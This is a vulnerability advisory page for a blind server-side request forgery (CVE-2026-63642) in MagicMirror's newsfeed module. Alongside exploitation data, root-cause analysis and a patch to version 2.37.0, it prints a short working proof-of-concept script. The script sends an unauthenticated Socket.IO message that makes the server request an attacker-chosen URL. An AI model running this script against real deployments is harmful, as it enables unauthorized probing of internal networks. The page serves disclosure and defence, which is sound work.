Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-998g-7v5w-cr7g — magicmirror

Fix: MagicMirrorOrg/MagicMirror#4169

GHSA-998g-7v5w-cr7g is a Server-Side Request Forgery (SSRF) vulnerability in magicmirror. A fix is available for magicmirror — see the affected versions and patch details below.

MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery

Also known asCVE-2026-63642
Published
Aug 18, 2026
Updated
Aug 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-998g-7v5w-cr7g.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.33%0.66%1.00%0.5%0.5%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
magicmirrornpm
292downloads / week

Description

Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.


Identification

FieldValue
PoC fileexploit-ssrf-newsfeed.js
Endpointsocket.io namespace /newsfeed, notification CHECK_ARTICLE_URL
Preconditionreach the mirror's HTTP port (no authentication required)

Description

The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-newsfeed.js)

const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "ARTICLE_URL_STATUS") {
		console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
		console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
		process.exit(0);
	}
});
socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
	socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);

Vulnerable target code (pattern)

async checkArticleUrl(url) {
  const res = await fetch(url, { method: "HEAD" });
  const canFrame = !res.headers.get("x-frame-options")
                && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
  this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}

Impact

  • Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
  • Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC).
  • Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

References

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-306: Missing Authentication for Critical Function
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains
  • OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmagicmirrorall versions2.37.0npm install magicmirror@2.37.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for magicmirror, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update magicmirror to 2.37.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-998g-7v5w-cr7g is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed) > Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "H
O3 Security · Impact-Aware SCA

Is GHSA-998g-7v5w-cr7g in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-998g-7v5w-cr7g: Fixed in 2.37.0 | O3 Security